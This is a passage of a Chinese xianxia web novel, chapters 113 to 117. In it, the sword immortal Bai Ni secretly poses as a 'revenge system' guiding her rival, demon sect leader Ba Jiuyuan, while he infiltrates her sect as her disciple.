霸九渊:“白霓!这里可是天魔宗的地盘,你怎么敢在我面前大放厥词????!!!” 霸九渊:“好好好,你今日来了,就别想回去了!” 霸九渊来势汹汹,能一口吞了她个大活人似的,白霓却没有什么反应。 因为他不是她的对手。 说来也是不公,像她这般心中既无大义,也无天下之人,修炼起来倒是比谁都要快。 可或许就是因为她什么都不在意、不在乎,心无杂念,升阶起来跟飞一样。 修士的境界分为“凡境、灵境、仙境、圣境”四境。 每境再细分一到九阶,阶级以九为尊。 过去的五十年间,霸九渊从来没有一次能在境界上超越她。 只说上次,他刚突破灵境九阶,踏入仙境,便马上传出了她在圣物的帮助下,短暂地碰到了圣境的门栏。 这么多年来,往往是霸九渊刚登上一层台阶,她便要立刻连上两层,永远要压他一头。 一直到如今,她已是圣境强者,是修真界数一数二的超级高手。 他却依然在仙境九阶努力,对她望尘莫及。 虽说圣境强者也并非永远会战无不胜…… 不过,那样的例外,今天不会发生在白霓身上。 当余光瞥见另一边的掌银司修士悄无声息地跑了个光,白霓一个剑招震退霸九渊后,有了收剑的意思。 白霓:“我没有继续和你打下去的理由了。” 当看到霸九渊气到发抖,白霓意识到他是动真怒了。 霸九渊:“你可知掌银司……做了何事?” 那双眼睛在凶刀的映照下露出红光,他努力控制自己的样子像是在控制一头随时想冲过来咬死她的野兽。 霸九渊控制住了面部表情,却控制不住一颤一颤的胸膛。 白霓漫不经心收回视线,语气也是那样漫不经意。 “一清二楚。” 霸九渊:“……你放过了他们,如何跟那些死掉的人交代?” 凡是修真者,皆视凡人为蝼蚁。 会为死去的凡人动怒,大动干戈要杀光自己的手下,白霓知道的只有霸九渊一人。 白霓:“掌银司虽是有罪,但未必人人罪行相当,你如今要一网打尽,何尝不算是伤及无辜?” 霸九渊闻言果然更气。 霸九渊:“掌银司成立之日,我便已警告过他们一人生事,全司连坐。” 霸九渊:“无辜?若说无辜,谁能比死去的人无辜?” 霸九渊:“那些凡人是因为信任天魔宗,才在我领内扎根定居。如今因我天魔宗内部毒瘤而丢掉了性命,我不肃清整个掌银司如何叫人信服?” 他眸光深沉,眼底恍然有一团火焰沉默暗涌。 “白霓。” “那是一百九十一条无辜人命。” “若我今日不雷厉风行,你可知来日又会有多少人因同个原因而死?” 白霓不知道,不在意,也无所谓。 说到底,她终归不是世人口中的慈心剑尊,也不像霸九渊那样,是拥有理想和抱负、对创造美好未来充满憧憬的人。 所以面对霸九渊的质问,她一句“我与你没什么好说的”过后,径直拂袖而去。 霸九渊:“白——霓——!” 锵——! 本来有三丈远的圣剑凶刀猛烈地碰撞在了一起! 白霓提剑相挡,面对在极近距离下、仿佛杀星降世的霸九渊,依旧是那副最让他讨厌的风轻云淡的口吻。 “你不是我的对手。” “你赢不了我的。” 霸九渊:“那也要试过之后才知道!” 其实根本不必去试。 换了旁人白霓还不敢说,唯独只有霸九渊,他不可能会是她的对手。 他们打了上千次,斗了上万个回合。 她早对他的一招一式了如指掌。 甚至连如今使出的剑法,都是为克制他而专门修炼的。 犹如风暴过境。 四方的黄花风铃具被惊落。 满天金黄花雨之中,那天魔宗主单膝跪在地上。 黑红衣裳仿佛被巨兽利爪撕破,化作三两碎布挂在那结实健壮的胸肌之上,伴随一吸一吐的沉重呼吸,腹部的沟壑清晰可见。 白霓的目光从霸九渊那张英气十足、此时却愤而不甘的脸,向下滑落到小腹的人鱼线上方才淡淡收回。 白霓:“伤风败俗、不堪入目。” 霸九渊:“……………………”草!!!!! …… 【检测到此地有强烈的情绪波动。】 【已发现合适的“攻略者”人选。】 【……】 【……】 【系统已强制生成。】 【你好,分系统编号49865。】 【接下来请你积极协助攻略者“霸九渊”,完成攻略任务,助其成功复仇。】 113 第113章 ◎正派之首爱上反派宿敌的第四天◎ 白霓是第一次如此深切地感受到霸九渊对她的恨。 他非但主动成为了攻略者。 生成的还是复仇系统。 当白霓的本体进入入定状态,切进【系统视角】,开始用分系统编号49865的身份,以类灵体的模式在以霸九渊为中心的方圆一尺内活动…… 看到的,依然是他的满面怒容。 “……宗主,敢问掌银司……该如何处置?” 掌银司是霸九渊的逆鳞。 一听到这三个字,他顿时猛地转头,发红双眸满目凶光。 他的声线像是被怒火烧干了,声音沙哑之外,全是杀气。 霸九渊:“……发出击杀令。” 霸九渊:“潜逃的掌银司修士,我要他们一个不留。” “是!宗主!” …… 掌银司终究还是被全司肃清了。 毕竟有霸九渊亲自出动缉拿,不出半天,潜逃人员被全数拿下。 带着他们的尸身人头,霸九渊亲身往凡人村落走了一遭,长矛刺颅,曝尸村口,以抚民心。 期间有不知天高地厚的凡人小孩拿石头砸他,可跟霸九渊在掌银司大杀特杀的魔头形象不同。 他没有发火,只不过是淡淡地看了一眼立刻跪倒在地、生怕他大开杀戒的所有人。 留下两句话后便拂袖而去。 “管教无方者,确实当罚。” “但只此一次,下不为例。” 天魔宗的掌银司全灭,重建一事霸九渊将其交给了信得过的亲信处置。 暂告一段落后,他往前山的练武场去了一趟,巡查了一下新进弟子的训练情况,在他们闪闪发光的注视下随意指点了几招。 等他夜晚回到天魔居,白霓才突然发现他被她伤得不轻。 门一合上,他的眉头立刻皱了起来,额头也冒出了汗滴。 当除去披风,只见破碎的衣服碎片恍然和伤口一起结成了血痂。 霸九渊一把揭掉烂布,处理伤口时痛得直吸气,嘴边还忍不住一边骂: “草……那该死的圣墟剑仙。” 他只字未提系统。 正当白霓觉得他兴许忘记了攻略、忘记了复仇的时候,他却冷不丁地说道: “好了,现在让我们谈谈你到底是个什么东西吧。” …… 其实白霓本是不打算生成系统的。 既然都已经知道了不会有什么结果,她和霸九渊之间不存在任何可能,实在没有必要去做多余的事情。 然而事到如今,当看到他主动成为攻略者,当看到那个“复仇”…… 白霓突然就很想知道…… 霸九渊到底有多恨她。 因为恨她,为了报复她,他到底可以做到哪一个地步。 所以她才会说: 【本系统可以实现宿主的心愿。】 【只要宿主跟随指引完成攻略任务,本系统可协助宿主杀死仇敌,成功完成复仇。】 霸九渊只是看了一眼浮现在视野里的荧光蓝文字便低下了头。 白天的他看上去恨不得把她抽筋拔骨,以解心头之恨,到了当下却不是特别有干劲的样子。 一边缠绷带一边开口说出来的话都有股不以为意的味道。 霸九渊:“杀死我的仇敌?” 霸九渊:“也包括圣墟剑仙白霓?” 【是的。】 荧光蓝色的文字尚未消失,已经先是从霸九渊的嘴边传出“嗤”的一声蔑笑。 他好像真的知道她在哪里,要不然不能解释从他手中飞出来的剪刀如何可以这么刚好地直冲她面门而来。 当斜眼看见剪刀扎进了墙壁,霸九渊又打了声冷笑。 “说要杀圣墟白霓的事情就不要再提了。” “连面都不敢露的家伙。” “不配提杀她。” …… 【……】 【宿主要复仇的仇敌并非圣墟剑仙白霓?】 “不。” “我最恨的就是她。” “但是我不会杀她。” 察觉到了她的疑惑,霸九渊主动开口解释。 这也是白霓第一次从他那张脸上看到除了不耐烦和痛恨以外的第三种表情,那表情出乎意料的淡薄,就恍然看透了一切。 “我霸九渊向来只杀罪人。” “她白霓尽管古板老套,却是少见的大慈大悲之人。” “我与她是毕生宿敌,可也不能否认她的确是世人口中贯彻心中侠义、坚持执行正道的圣墟剑仙。” “她勇敢、坚强,没有人能比她更一心向善。” “即便是再无药可救、不值一提的垃圾,她都会给予改过自新的机会,永远对所有人、所有事都抱有最后的一丝怜悯。” “没有人能做到这一点。” “除了她。” 说到这里时,霸九渊换了口长气。 “我与她的恩怨大多是阵营立场所致。” “因此即便我恨她入骨,也绝不会动手杀她。” “懂了?” 【……】 白霓不知道该说什么好。 她什么都说不出来。 霸九渊字字句句不离“白霓”,实际上却没有任何一个字眼真的与她“白霓”有关。 他口中所描述的,被他所欣赏认同的,与其说是“白霓”,倒不如说是由圣墟一手创造出来的圣墟剑仙、正派之首、圣剑之主。 其实有很多次,白霓也想过要打断他的话,问他【你真的了解白霓吗?】,但无论再有多少次机会,她都不可能问得出口。 因为他不会想要了解的。 没有人会想要了解的。 世人都以为她白霓是被圣剑认可的主人。 殊不知圣剑不像是霸九渊的那把凶刀,并没有器灵,只要实力到了,谁都能用,压根不存在什么认可不认可。 说到底,她本人也跟她的剑一样。 没有思想。 没有灵魂。 圣剑是她的工具。 而她白霓是圣墟的工具。 因此就算了解了那个所谓真实的白霓…… 也不会有什么欣赏、理解。 唯一最后能剩下来的,只有对她这个人彻头彻尾的失望而已。 “……” 【已知悉宿主的要求。】 【现已为您开启以“背叛”为主题的复仇计划。】 【叮咚!】 【您触发了一项任务。】 【请宿主以圣墟外门弟子“风逸尘”的身份,参加十日后的圣墟内门考核,并成为攻略目标“白霓”的亲传弟子。】 【此项任务为开启“背叛”系列复仇计划的前置任务。】 【请宿主慎重对待。】 114 第114章 ◎正派之首爱上反派宿敌的第五天◎ 十年一度的圣墟内门考核,是外门弟子最大的盛事。 若是能通过考核、得到赏识,非但能进入内门,更有机会被圣墟各大高手长老收为亲传弟子,直接原地起飞。 因此通过内门考核,是每一个外门弟子的目标和梦想。 江雪儿也是。 她本出自于小宗门,是那种随处可见的混吃混喝的普通修士。 直到七八年前经过了严格的考核,才终于成为了一名光荣的圣墟外门弟子。 而她之所以决定转投圣墟门下,全都是为了“朝圣”。 是的,跟绝大多数的外门弟子一样,江雪儿的偶像,同样是那位大名鼎鼎的“圣墟剑仙”。 她永远忘不了十五年前圣墟剑仙大战上百魔人时的光景。 那时她误入陷阱,掉进了魔人的老巢,九死一生才和其他一起被骗过去的修士逃了出来。 而他们拼命想要逃离、连回首看一眼都不敢的地方,却是那个人义无反顾直线前进的方向。 时至今日,江雪儿依然很难以形容那一天,当她喘着粗气、捂着伤口,像彻头彻尾的废物一样疯狂逃走时,与那个人擦肩而过的那一瞬间。 也许是那一个瞬间感受到的震撼,带给了她勇气。 她竟是下意识抓住了那个人的衣袖,对她喊道: “不要去!” “里面已经没有活人了!”许是因为有了能哭诉的人,她的声音控制不住地变得哽咽起来:“那些人……已经全部被魔修……变成了魔人。” 江雪儿觉得自己一定很可笑。 明明她抛下变成了魔人的同伴,自己逃了出来,是不折不扣的胆小鬼,又有什么资格去阻止别人。 然而那个人并不指责她,甚至还伸手擦去了她脸上的血污。 圣墟剑仙的手干净得一尘不染,却全是硬实的厚茧。 “你很坚强。” “辛苦你了。” 她甚至还拿出千金难求的疗伤圣药。 “请你替我照顾其他人。” 明明追捕他们的魔人已至,江雪儿的心中却毫不畏惧。 这一切……全都是因为那个人。 她一出手直接制服了杀得他们屁滚尿流的魔人。 她永远像一座永远无法被逾越的大山,挡在他们这些胆小鬼的身前,守护他们这些没有丝毫价值的人。 “我修真界的好儿女,即便尸体只剩下一截断骨,我也绝不允许落在魔修手中。” 圣墟剑仙的神色总是很平静。 连那一天,上百魔人突然出现在她眼前,她的神色依然淡得恍如黎明时分的薄雾。 但也就是她用缥缈嗓音说出来的每一句话。 全部组成了江雪儿人生的转折点。 自那以后,她结束了碌碌无为的人生,只因想要成为像圣墟剑仙那样伟大的人,她不分昼夜刻苦修炼。 为了像圣墟剑仙一样去实现心中的正义。 为了哪怕出现了和那一日一样、甚至更艰险的困难,也不会轻易被击倒。 她要和偶像齐头并进,成为站在她身边也不会黯然失色的人。 于是当白霓携着圣剑出乎所有人意料地空降内门考核。 当所有外门弟子只敢偷偷打量。 只有江雪儿一个人勇敢地招手喊道: “慈心剑仙!!!” 就像那天一样。 哪怕贵为圣境强者,各大正派宗门以她为首,今日的圣墟剑仙依然会为一个名不见经传的小人物驻足停留。 她回首望来时的眸光平静如故,可一如她的称号,那沉静眸光中有悲悯爱怜,仿佛被神所注视。 江雪儿正踌躇于该怎么自我介绍才能让剑仙记得她的名字,只听白霓已是开口说道: “暮城鬼影的事情办得很出色。” “多亏了你,很多人活了下来。” 江雪儿自是从没想过不但能被偶像记得是谁,连自己做过的事情也有幸传进了她的耳中,于是立刻猛地九十度弯腰鞠躬,声音洪亮: “感谢您的夸奖!!!” “我以后会继续努力除恶扬善的!!!!” “恩。” “我相信你能做到的。” 没有人察觉。 当白霓距离江雪儿最近、在江雪儿喊出那番话的时候,那把不起眼的圣剑…… 像是渐渐苏醒了一样,发出了莹莹的光亮。 …… 白霓亲自下场干预内门考核那自然是有原因的。 她虽说是向霸九渊发布了任务,但为了让他知难而退,除了一枚圣墟外门弟子的身份木牌,她再没有提供过任何的协助。 而霸九渊也的确硬气。 过程中没有一次求助,全靠自己,他一路过五关斩六将,竟是真的在没有引起任何怀疑的前提下闯到了内门考核的最后一关。 问题出现在了之后。 世人皆知圣墟剑仙从不收徒。 就连出现在这本门弟子的考核也是仅此一次。 因此为了搏得她的关注,霸九渊居然不惜动用了苦肉计。 于是此时此刻出现在白霓眼前的,便是那个统领反派各大宗门、和她圣墟剑仙打了五十年的天魔宗主—— 如同被打断了腿的狗一样,躺在角落奄奄一息。 “……” 白霓说不上来此时是什么心情。 当意识到霸九渊为了向她复仇居然能做到这种地步,另一边又听到他对系统沾沾自喜、洋洋自夸: “喂系统!你看到了没有?我的苦肉计起作用了!” “白霓她来了!” “哈哈!我就说吧!以我对白霓的了解,只要出此计策,她绝不会坐视不理!” ……好像有一把火噌的一下蹿了上来。 “了解” 又是“了解”。 说什么了解呢? 他霸*九渊口口声声的了解全部只限于那个由圣墟一手创造出来的圣墟剑仙。 根本就不知道真实的白霓哪怕一分一毫。 是啊,他不可能会知道的。 如果他真的清楚的话,就不可能会做出这样的事,说出这样的话。 他只会觉得分外恶心。 后悔无比。 “……” 看,他已经开始后悔了。 白霓:“你——” 白霓:“把衣服脱了吧。” 115 第115章 ◎正派之首爱上反派宿敌的第六天◎ 不是有一句话是那样说的吗? “最了解你的人是你的敌人” 所以与白霓打了五十年斗了五十年的霸九渊,真的以为自己算是最了解她的人。 他们结识于微末,见过彼此成名前最真实的模样。 后来又有五十年间的腥风血雨打打杀杀。 霸九渊深谙那人人歌颂的圣墟剑仙是一个什么样将传统侠义坚守到底的老古董。 正如他无比笃定—— 只要他在圣墟的内门考核上使出苦肉计。 只要白霓在此。 她便绝对不可能坐视不理。 霸九渊亲身证实了自己的想法。 当他在内门考核上像疯狗一样到处乱咬乱吠,用嚣张跋扈的姿态拉满了仇恨,再紧接着故意露出破绽。 那些人果然踩下陷阱,帮他完成了一出完美的苦肉计。 而白霓果然也从天而降。 接下来,他要做的不过是继续表现出一副没教养的样子,对白霓大放厥词死不认错。 以霸九渊对白霓的了解,她定不会对他放任自流,一定会将他放在自己身边好好教育。 这样一来,成为她的亲传弟子一事便是板上钉钉了。 至于那些被他利用了的傻子…… “……怎么办?!没想到剑仙大人居然会插手!” “剑仙大人从没出席过内门考核,今日怎么会突然……!该死!我们会怎么样?早知道不对他下手了!” 霸九渊听后打了声冷笑,心道他们走运。 他身为天魔宗主,半个修真界听他号令,他手底下的人敢用冒犯眼神多看他一眼都不可能好过,更遑论伤他至此。 这么多年来,能伤他天魔宗主的人只有圣墟剑仙,也只会是圣墟剑仙。 若非如今他身在圣墟,接下来还要想办法成为白霓的弟子,他不会就这么放他们一马。 也只能放他们一马了。 毕竟白霓可是连杀一只蚂蚁都要考虑一下的人。 她不可能惩罚任何人,最多也就是轻描淡写说他们个两句…… 白霓:“恶意伤人者剥夺外门弟子身份,逐出圣墟。” 霸九渊:“……” 霸九渊:“???????” 霸九渊:“白霓你刚刚说了什么???” 白霓没有应他的话。 她只是看了他一眼。 但只是这一眼,顿时让霸九渊连寒毛都竖了起来。 因为……他居然在那个只吃清风露水、五十年来脸上都只有一个表情的圣墟剑仙脸上看到了…… “生气” 可这还不是最离奇的。 那个圣墟剑仙非但严厉地惩处了犯戒弟子,还在所有人怪异的目光下留下一句“从现在起,此人便是我的亲传弟子。谁要是动他,便是和我过不去”后,把他捆在仙鹤上,带回了她的剑仙府。 而在没有第三个人存在的地方,她把他扔到了地上。 然后对他说…… 白霓:“你——” 白霓:“把衣服脱了吧。” 霸九渊:“????????” 这还是他认识的那个圣墟剑仙吗?????? …… 看到霸九渊反射性地双手护住胸前,死死捂紧了自己衣襟的样子,白霓终于有一点冷静了下来。 “……” 她对一个什么都不知道的人发脾气有什么用呢? 了解……了解…… 她白霓一直以圣墟剑仙的身份而活,世人眼中看到的白霓自然也只能是圣墟剑仙。 霸九渊也不过是芸芸众生中的一员。 他不了解她……又有什么错呢? 白霓深深吐出了一口气。 话已至此,覆水难收,她也只能顺着自己的话说下去了。 看着好像正在被逼良为娼的天魔宗主,白霓不禁先是沉默了一下,然后才用往日一贯的平静口吻说道: “我只是想看看你的伤口。” 岂料她这么一句话下去,他把自己抱得更紧。 “岂敢……劳烦剑仙大人费心。” 白霓:“……” 这五十年间,白霓从来没有听过霸九渊用这种细声细气文绉绉的口吻说话。 过去他每次见了她,大多不是在怒吼就是在狂笑。 “来啊白霓!过来和我决一死战!今日不是你死就是我活!” “哈哈哈哈哈!我霸九渊要杀的人,任是你圣墟剑仙,也拦不住我!!!” 所以说,霸九渊现在到底是有多怕,才能用这种语气说话?她还能对他做什么不成? 况且他又不是第一次被看了,在这里磨磨唧唧。 白霓眉头一皱,刚要开口,却听霸九渊已经先一步说道: “白……不是,剑仙大人。其实……这是我第一次见你生气。” 直到这一刻霸九渊说出那两个字。 白霓才忽然意识到,方才那仿佛被火在烧的情绪原来是“生气”。 倒也不是说圣墟剑仙连生气的权利也被剥夺,只是回首过去……实在没有什么好生气的地方。 因为她对什么都觉得无所谓。 不管是没能救下要救的人,还是看着那些恶贯满盈的人肆意犯罪,所有的一切都没有什么值得生气的地方。 但刚刚不一样。 她确实感到恼火了。 除了有因为霸九渊明明什么都不懂,还在那里左一句了解右一句了解。 ……她见不得那些无足轻重毫不相干的人伤他。 他们根本不知道,如果没有霸九渊用暴力和绝对的规则镇压了修真界的另一面,世间不会能有今日的风平浪静。 也不知道这个人为了实现心中的侠义,连他最爱的“九霄豪侠”都不当了。 放弃了人人歌颂的正派角色,跑去成立了天魔宗,成为了人人喊打的大魔头。 他们如今的安定生活有一半是他给的。 他们怎么胆敢伤他?! 霸九渊:“你皱眉了!你又生气了!” 白霓:“……” 这个人真是莫名其妙。 她是人,人会生气不是理所当然的吗? 白霓:“把衣服脱了,我要检查你伤势。” 白霓:“如果不想我来硬的,你最好主动听话。” 白霓:“我数三声,你若不行动,我便要动了。” 白霓:“三——” 感觉那个“一”好像一眨眼后便会到来,霸九渊彻底慌了。 霸九渊:“等、等下!我还没有做好心理准备!” 白霓:“心理准备?这要什么心理准备??” 就是要心理准备啊! 只要看到白霓,他就会瞬间被“伤风败俗”“不堪入目”的心理阴影所笼罩! 何况如今的他不过只用术法换了张脸,身上那些伤风败俗、不堪入目的肌肉全都还在啊! 霸九渊:“不……你不是白霓。真正的白霓才不会强人所难,做出这种事情!” 白霓:“哈……你以为你是谁?这么了解我?凭什么说我不会做出这些事情?” 霸九渊:“总之我就是最了解你的人!” 白霓:“那是你不懂装懂!” 白霓:“你最好从现在开始,好好认识一下我白霓到底是个什么样的人!” 争锋相对之间,白霓和霸九渊的距离也是越来越近。 但在她指尖将要碰到他的前一秒,屋外响起叩门声。 一息过后,传来话音: “剑仙大人。” “门主召见。” 116 第116章 ◎正派之首爱上反派宿敌的第七天◎ 当“门主召见”响起的那一刹那,目之所及之处的一切都变得寂静了。 霸九渊看到上一秒还在和他吵架的人,这一刻的眸光瞬间变得晦暗不明。 安静得像是强行被人按熄的火苗一样。 让人无所适从。 霸九渊还在不知所措的时候,只见那圣墟剑仙已经起身,恢复到了平常模样,连语气也跟往日不差分毫。 白霓:“我要离开一会。” 白霓:“在这里你想做什么都可以,无需有所忌讳。” 如果不是她前后的反差实在是大得那么明显,霸九渊在应声“好……我知道了”时候的语气不会那么怔懵。 白霓是真的走了。 即使她的身影完全从眼前消失,霸九渊也没有能从她最后的那一个眼神中走出来。 直到过了许久,风把敞开的门吹拢,他才回过神来,意识到现在自己的所在之地是白霓的剑仙居。 霸九渊呼出一口气。 可当环顾四周,才刚松开的眉头不禁再次皱起。 “她好歹也是圣墟剑仙、正派之首,但这剑仙府……” “也太落魄了点吧?” “等下。” 似冷不防想起了什么,霸九渊的眉头顿时拧得更紧。 “话说圣墟门主,那不就是白霓的……” “她刚刚怎么一副……要去上坟的反应?” …… 今日的圣墟门主有着前所未有的怒火。 尽管白霓在进去之前,被传话弟子低声提点了一句: “请您小心。” “门主大人……十分不悦。” 却仍想不到当她跨过门槛,身后的门“砰”地合拢,从黑暗深处传来的是圣墟门主强压怒火的一句: “孽障!” “还不跪下?!” 其实放在以往,在处罚决定落实下来之前,他多少要对她说些“你身为圣剑之主、正派之首必当以身作则,万不可骄傲自满、得意忘形,做出不符合身份的事情”这样的叮嘱。 但今天,白霓屈膝跪下之后,他的怒火顿时像山崩时的碎石一样,疯狂向她砸来。 “白霓!是谁给你的权利擅自剥夺外门弟子身份,甚至还说要逐出宗门??” “哈……还有什么……亲传弟子?你身为正派之首必须遵守一视同仁的公平原则!保持至高无上的地位,不能有任何弱点、漏洞!” “你有没有想过今日的事情一旦传出去,你的名声会受到多大的影响?” “你知不知道有多少人在暗中窥视你的一举一动,盼着把你拉下神坛,等着毁掉我们圣墟,重新在修真界掀起一片腥风血雨?!” “我看你脑子是成浆糊了!给我滚去万幽寒潭好好清醒清醒!” 白霓默了默。 没有任何争论辩解,她平静地接受了包括处罚决定在内的所有指控。 起身离去前她只是垂眸应了一句那万古不变的: “是,门主。” …… 万幽寒潭是圣墟的禁地。 仙境强者在此地撑不过一炷香的时间,凡境修士则连靠近都做不到。 但对白霓来说,这是她的家常便饭。 万幽寒潭的水她从小泡到大,这都几十年过去了,好像只有今日格外冷些。 其实说起来也是有些好笑。 她表面上说是正派之首,整个修真界的正派宗门唯她马首是瞻,然而实际上她连决定本门外门弟子去留的权利都没有。 即便是当众说出口的话、发出去的指令,也随时可能被撤销。 “你留下的烂摊子我已经帮你收拾好了。” “惹事的外门弟子会被保留圣墟弟子的身份,你刚才的放逐宣言只会被当成是口头惩戒。” “放心,你依旧会是所有人心中的慈心剑仙。” 说起慈心剑仙,那好像就更可笑了。 她分明没有慈悲心,却被人称作“慈心”。 还有那把圣剑。 所有人都称呼她为圣剑的主人,殊不知没有器灵、没有认主的圣剑,落在她手中只是一把平平无奇的铁块。 她根本没有被圣剑承认。 正如那“正派之首”只是一个空有美名的称号。 她什么都做不了。 也什么都做不到。 不过就像她不在意有多少人会因她的一举一动是生是死,包括发生在她自己身上的一切—— 她都全都没有所谓。 所以,她不需要同情,也不需要怜惜。 那些东西就如同所有美丽称号一样—— 对她来说,全都没有意义。 “嘶……你不冷吗?” 因此当结束了半日的惩戒,踩着夜色回到剑仙府,当迎着霸九渊震惊到好像见了鬼的视线,白霓的眸光与声色皆是一如既往的平静。 “我没事。” “天色晚了,早些休息吧。” …… 霸九渊印象中的白霓永远是仙风道骨、光鲜亮丽的。 倒也不是说真的打扮得光鲜亮丽。 只是只要是有她出现的地方。 只要她站在那里—— 所有人就会把她看作光。 毕竟白霓的强大是包括霸九渊在内,所有人有目共睹的。 她是被公认的目前修真界中最有希望飞升成神的人。 少年时期便横扫了大半个修真界,压得那些无恶不作的魔修硬是放不出一个屁来。 又用绝对的实力团结了正派宗门,方才有了如今四海升平的光景。 便是那么强大的人…… 如今却浑身湿透,连眉眼都结上了霜,留下的每一个足迹都会迅速结成冰。 “……” 谁能伤她? 谁敢伤她? 大抵是太过震惊了,霸九渊才会忘了这个人是他斗了五十年、只要一想起就恨得牙痒痒、并且将要复仇的宿敌,才会三番两次地追问她: “你真的……没事吗?” 而她的回答连音量大小、停顿的位置都和之前一模一样。 如同预设好的模板。 “我没事。” “天色晚了,早些休息吧。” 霸九渊有些恍惚。 他没关心过人也不知道怎么样关心人。 于是只傻愣愣地站在原地,目送她远去的身影。 但就在这时,他迎来了唯一的变化。 好像突然想起了些什么,白霓在走出去些许后忽然回首。 昏黄的灯光照进她的眼中,映出了他的身影。 她忘记了快要变成雪人的自己。 只是问他: “对了。” “你的伤势怎么样了?” “如果需要什么,直接告诉我,我会为你寻来的。” 霸九渊:“……” 应是山路旁的昏黄灯光太过柔和了,于是包括她的眉眼、从她眼眸中映照出来的他自己,那所有的一切看上去…… 才会那么温柔。 是啊。 实在是过分温柔了。 这不是她。 这不是那个永远清冷平淡的圣墟剑仙…… 能够流露出来的表情。 117 第117章 ◎正派之首爱上反派宿敌的第八天◎ 白霓不知道霸九渊在想什么。 他们分明是不共戴天的宿敌,他也的确是为向她复仇而来。 可当她落魄,他却不是扬眉吐气痛快淋漓,反倒还追上来问她一句: “你真的……没事吗?” 霸九渊的关心实在太真实了。 他的每一个表情,每一句话的语气都真实到让人不解。 霸九渊:“该死……需要关心的人到底是谁?” 霸九渊:“你是真不知道现在的自己是什么样子吗?” 霸九渊:“是哪个不长眼的狗东西伤了你……算了,其他都等会再说。你剑仙府总该要有灵泉吧。你给我指路,我带你过去。” 这谁能理解呢? 无论是他在谈及伤她之人时的杀气毕露,还是此时他走过来,好像真的要带她去找灵泉的样子。 这所有的一切都是那么的费解。 以及那么的错误。 而既然出现了错误…… 那就要及时纠正。 便是在霸九渊即将触碰到她的时候,白霓往后退了一步。 “你僭越了。” 霸九渊:“这个时候谈什么僭不僭……行,你若真的非要跟我说这些,等寻到了灵泉再慢慢说也不迟——” 白霓:“我说了,你僭越了。” 她退回到了光照不到的地方。 当身处暗处,白霓平静的眸光变得不再柔和,反而与万幽寒潭一般幽深冰冷。 迎着霸九渊反应不及的神情,她平稳沉静的声线没有分毫的动摇。 “夜深了。” “去休息吧。” 这一次,他终于没有再追上来。 …… 其实白霓本来以为这件事就该这么过去了。 毕竟霸九渊最初的反应的确很平静。 然而许是忍一时风平浪静,退一步越想越气。 月上中天之时,在他心头熊熊燃烧的怒火烧到了系统的身上,也不管她是不是真的在听,张嘴就是对系统一顿输出: “你说她最后看我的眼神那个算什么??我是垃圾吗我???她白霓怎么敢用那般看不起人的轻蔑眼神看我???还有什么……僭越?我怎么僭越她了我?进一步我是她徒弟,徒弟关心师傅怎么不是天经地义?!退一步我生而为人,人和人互相关心本来就是理所当然!” 白霓本来不想理他的,奈何偏偏被他实名点到。 “系统你说呢????” 【……】 【宿主你受委屈了。】 结果一句“委屈”,又让他一发不可收拾。 霸九渊:“对啊,我委屈,我真是太委屈了,我又不是畜生,怎么可能看到她那副样子还能无动于衷假装看不见???啊啊啊啊啊啊白霓气死我了啊!!!!!” ……看来他是真的很委屈了。 白霓想了想,这次终于给出了用心了一点的回复。 【宿主你真是好善良。】 【试问这世间能有几个人能在面对宿敌时也三番五次施以慈悲心?】 【豪侠。】 【唯有像是宿主你这样的人,才能被以豪侠相称。】 【叮咚!】 【由于展现出令世人钦佩的善举,您得到了称谓“正义豪侠”!】 【忠告:善良虽好,可面对不识好歹之人,我们也要懂得保护自己,远离伤害。】 明明已是这么多年过去了。 霸九渊依然是当年的那个霸九渊。 一句“豪侠”,还是“正义豪侠”,顿时让他火气尽失,整个人表现出了从骨子里透出来的高兴。 明明心里骄傲得不得了,嘴上还要傲娇地说—— 霸九渊:“哼……豪侠……也就还行吧。” 霸九渊:“你说得对,就是那白霓不识好歹,以后她随便她怎么样吧,我是不会再管她了。走了走了,本豪侠要回屋睡觉了。” 白霓也不知道霸九渊的那些“随便她怎么样吧”“我是不会再管她了”到底是说给谁听的。 打那之后他的确是安分了一阵。 但从某一个时间点开始,他觉也不睡了,突然时不时地猛跳起来,鬼鬼祟祟地扒在门缝边偷听外头动静。 辗转反侧一夜不眠,早上天刚刚亮的时候,他就迫不及待出了门,四处踱步,好像是想和她来一个“意外”的“偶遇”。 走到午后腿快断的时候,终于见着了她,开口的第一句便是: “??白霓??你去哪里了???总不该是……又出任务去了吧??” 他猜得是对的。 昨夜她与他别过后没多久,马上接到了肃清魔修旧势力的紧急任务,很快就离开了圣墟,直到此时才回来。 可她出任务是她的自由,与他实在没有什么干系。 于是只当做没有听见,转首便走。 然而白霓的沉默落在他眼中便成了默认,这次他是终于忍无可忍,一把抓住她的胳膊,逼她回头。 霸九渊:“白霓我看你是真的疯了吧??” 霸九渊:“你昨天才冻成雪人回来,今天就出去和魔修拼命,你是不要命了吗???走!跟我走!现在你立刻就给我去治疗!” …… 其实看着霸九渊全是愤慨的那张脸,白霓会觉得他才是真的疯了。 她是很想告诉他是在多管闲事,可那么说似乎并不能改变什么,只会造成同样的结果。 于是按着突突发疼的太阳穴,白霓皱眉解释道: “不过是一群乌合之众,谈不上拼命。” “如果你是在为我昨天拒绝了你的关心而生气,那么我向你道歉。” “我是圣境强者,这世上能伤我者寥寥无几,即使受了损伤也会很快复原,所以你不需要同情我,也不必要再生气了。” 白霓本只想为此事落下一个句号,却不料这一番话起了反效果,让事情变得愈发不可收拾了。 霸九渊:“你说……我是因为关心被拒绝,所以……才会生气?” 霸九渊:“白霓你个傻子!” 白霓:“……” 他对系统骂她的时候她可以不在意,但这不代表他也能当着她的面对她口出狂言。 白霓的眸光顿时冷了下来。 白霓:“注意你的说话方式。” 白霓:“你虽然是我的亲传弟子,但这并不代表我会容忍你对我不敬,甚至来插手我的事情。” 白霓:“做好你的本分,不要管你不应该管的事。” 霸九渊怕真是气到忘了如今正在隐藏身份。 她的话音才刚一落下,他立刻发出了哈哈的狂笑声,即便换了张脸,也不会有人认不出他是那个盛气凌人、横行霸道的天魔宗主。 霸九渊:“好一个本分……好一个不该管的事……” 白霓皱了皱眉,刚想借系统身份对他旁敲侧击几句。 不想下一秒忽而身子一轻,再一晃神,霸九渊的脸冷不防变得极近。 她一时不慎被他打横抱起,不止给了霸九渊说话的底气,更是让她失去了反驳的机会。 霸九渊:“嘁,如今连我都能轻而易举地接近你,还说什么圣境强者不会受伤?” 迎着她沉默的目光,这个正在用冷眼冷言冷语冷笑俯视她的男人,非但不将她放下,还十分小气地谨记住了她的提点。 霸九渊:“啊……对对对,说话语气,不能不敬。” 